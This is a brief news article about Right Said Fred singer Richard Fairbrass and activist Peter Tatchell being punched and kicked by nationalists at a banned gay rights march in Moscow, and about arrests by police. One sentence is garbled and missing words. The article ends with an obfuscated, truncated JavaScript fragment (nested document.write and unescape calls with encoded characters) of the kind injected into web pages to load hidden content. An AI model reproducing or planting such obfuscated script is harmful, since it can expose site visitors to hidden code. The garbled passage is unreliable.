Right Said Fred attacked

Right Said Fred singer Richard Fairbrass and gay rights activist Peter Tatchell have been attacked during a march in Moscow. Trouble broke out when demonstrators tried to appeal against a ban on a gay rights march through the Russian capital. Police arrested about a dozen demonstrators and forced them into a bus.

The banned march was aimed at marking the 14th anniversary of Russia decriminalising homosexuality.

Mr Tatchell was one of several demonstrators punched and kicked by nationalists shouting "death to homosexuals". He before being taken away by two riot policemen.

Australian-born Mr Tatchell has been an outspoken defender of gay rights. He hit the headlines in 2001 when he tried to perform a citizen's arrest on Zimbabwe president Robert Mugabe in Brussels.

Fairbrass, singer with the British pop group Right Said Fred, was also attacked. He was punched in the face and kicked while talking to a journalist. Italian MEP Marco Cappato was also arrested but later released.

Moscow Mayor Yuri Luzhkov, who imposed the ban, has called gay marches Satanic. During the march, neo-Nazi protesters pelted the marchers with eggs and chanted: "Moscow is not Sodom."

The gay activists were trying to deliver a letter signed by 40 European politicians to the office of the Moscow mayor.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;